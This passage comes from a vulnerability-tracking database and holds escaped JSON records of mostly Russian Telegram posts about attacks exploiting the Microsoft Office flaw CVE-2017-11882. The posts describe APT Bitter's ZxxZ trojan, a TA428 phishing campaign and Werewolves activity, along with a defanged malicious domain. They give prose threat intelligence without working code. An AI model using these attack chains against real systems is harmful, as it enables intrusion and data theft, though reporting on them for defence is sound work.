CVE-2017-11882 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 Microsoft Office. \u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0432 Microsoft Word, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Equation Editor \u0438 \u0432\u044b\u043f\u043e\u043b\u0430\u0441\u044c \u0444\u043e\u0440\u043c\u0443\u043b\u0430 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0430\u044f \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043d\u043e-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (ROP).\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e ROP \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b \u0448\u0435\u043b\u043b-\u043a\u043e\u0434, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 maldocs \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0445\u043e\u0441\u0442\u0443 olmajhnservice[.]com \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b Excel \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2018-0798 \u0438 CVE-2018-0802, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0432 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Microsoft Office. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0434\u0432\u0443\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u0447, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441 \u043f\u044f\u0442\u0438\u043c\u0438\u043d\u0443\u0442\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u043e\u043c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0445\u043e\u0441\u0442-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0442\u0440\u043e\u044f\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 Cisco Talos \u043d\u0430\u0437\u0432\u0430\u043b\u0438 ZxxZ.\n\n\u042d\u0442\u043e 32-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u0438 \u0441 \u043e\u0431\u0449\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a \u00abUpdate.exe\u00bb, \u00abntfsc.exe\u00bb \u0438\u043b\u0438 \u00abnx.exe\u00bb. \u041e\u043d\u0438 \u043b\u0438\u0431\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f, \u043b\u0438\u0431\u043e \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0441\u043e \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u0435\u043a\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b Windows Defender \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u0431\u0443\u0444\u0435\u0440 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\u00a0\u0417\u0430\u0442\u0435\u043c C2 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u0432 \u00ab%LOCALAPPDATA%\\Debug\\\u00bb. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ZxxZ \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0435\u0449\u0435 225 \u0440\u0430\u0437, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.\n\n\u041a\u0430\u043a \u0432 \u0438\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u043c \u043a\u0438\u043d\u043e, APT Bitter \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0435\u0442 \u0443\u0434\u0438\u0432\u043b\u044f\u0442\u044c \u0441\u0432\u043e\u0435\u0439 \u0433\u0438\u043f\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044f \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u043d\u043e\u0432\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0438 \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u0443\u0441\u0438\u043b\u0438\u0439 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.", "creation_timestamp": "2022-05-13T09:24:05.000000Z"}, {"uuid": "ff7757eb-f924-41c2-a2a3-fe9a1e3d9a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/crackcodes/1915", "content": "#Analytics\nTop 10 most exploited vulnerabilities in 2022\n\n1. CVE-2022-30190: MS Office \"Follina\"\n\n2. CVE-2021-44228: Apache Log4Shell\n\n3. CVE-2022-22965: Spring4Shell\n\n4. CVE-2022-1388: F5 BIG-IP\n\n5. CVE-2022-0609: Google Chrome zero-day\nhttps://blog.google/threat-analysis-group/countering-threats-north-korea\n6. CVE-2017-11882: Old but not forgotten - MS Office bug\n\n7. CVE-2022-41082, CVE-2022-41040: ProxyNotShell\n\n8. CVE-2022-27925, CVE-2022-41352: Zimbra Collaboration Suite bugs\n\n\n9. CVE-2022-26134: Atlassian Confluence RCE flaw  \n\n10. CVE-2022-30525: Zyxel RCE vulnerability", "creation_timestamp": "2022-12-21T16:27:48.000000Z"}, {"uuid": "fd7ec816-00f4-4a36-833b-5f65950a94fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/kasperskyb2b/79", "content": "\u0421\u0442\u0430\u0440\u044b\u0439 \u0442\u0440\u044e\u043a \u043b\u0443\u0447\u0448\u0435 \u043d\u043e\u0432\u044b\u0445 \u0434\u0432\u0443\u0445: \u0431\u044d\u043a\u0434\u043e\u0440 \u043a \u0433\u043e\u0441\u0442\u0430\u0439\u043d\u0430\u043c\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u044e\u0436\u0438\u043d\u0443 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u043e\u0432 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439 \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0430, \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0441\u0442\u0440\u0430\u043d \u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u044b. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 TA 428. \u0414\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u043c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043e\u043c \u0432\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438. \u0418 \u0447\u0442\u043e\u0431\u044b \u0432\u0441\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0442\u0440\u0443\u0448\u043d\u0435\u0435, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0434\u0435\u0442\u0430\u043b\u0438, \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0435. \n\n\u041f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043f\u0438\u0441\u044c\u043c\u043e, \u0430 \u0442\u0430\u043c \u0438\u043c\u0435\u043d\u0430 \u0435\u0433\u043e \u043a\u043e\u043b\u043b\u0435\u0433 \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u2014 \u0438\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0442\u043e \u0435\u0441\u0442\u044c \u2014 \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c \u0437\u043d\u0430\u0442\u044c \u043d\u0435\u043e\u0442\u043a\u0443\u0434\u0430 (\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0438 \u0433\u0434\u0435-\u0442\u043e \u0432\u044b\u0432\u0435\u0434\u0430\u043b\u0438 \u0432\u0441\u0435 \u044d\u0442\u043e \u0437\u0430\u0440\u0430\u043d\u0435\u0435). \u0422\u0430\u043a\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u043a\u0430\u043a \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u043a\u0443 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u0435\u0435. \u0412 \u043e\u0431\u0449\u0435\u043c, \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\u0415\u0441\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Word \u0438\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0441\u0447\u0438\u0442\u0430\u0439, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0431\u0435\u0437\u043e \u0432\u0441\u044f\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0436\u0435\u0440\u0442\u0432\u044b. \u0414\u0432\u0435\u0440\u044c \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0442\u0430\u0439\u043d\u0430\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u0430, \u0432\u0445\u043e\u0434\u0438\u0442\u0435, \u043d\u0435 \u0441\u0442\u0435\u0441\u043d\u044f\u0439\u0442\u0435\u0441\u044c. \u0414\u0430\u043b\u044c\u0448\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u044c, \u0438\u0449\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u0440\u0430\u0434\u0435\u0442 \u043f\u0430\u0440\u043e\u043b\u0438, \u0432\u0441\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b Ladon.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0435 \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0438 \u0443\u0436 \u0442\u043e\u0447\u043d\u043e \u043d\u0435 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u0434\u043e \u0431\u044b\u0442\u044c \u043d\u0430\u0433\u043e\u0442\u043e\u0432\u0435. \u042d\u0442\u043e, \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c, \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432\u043e\u0432\u0440\u0435\u043c\u044f, \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u044c \u0438 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u0442\u044c\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a. \u041d\u0443 \u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0440\u0435\u043d\u0438\u043d\u0433\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u0430.", "creation_timestamp": "2022-08-16T17:30:00.000000Z"}, {"uuid": "e816a737-b8b9-48fb-8746-1a522438205f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/cisoclub/3409", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \ud83c\uddf7\ud83c\uddfa\u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \ud83d\udc3aWerewolves, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0430\u044f \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043e\u0434\u043d\u0443 \u0438\u0437 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udd11LockBit, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439. \u0421 \u043a\u043e\u043d\u0446\u0430 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433\u043e\u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \ud83c\udfed\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0438 \u0418\u0422-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u043e\u0433\u043e \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 F.A.C.C.T.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 F.A.C.C.T., \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Werewolves \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u0430\u0436\u0435 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, 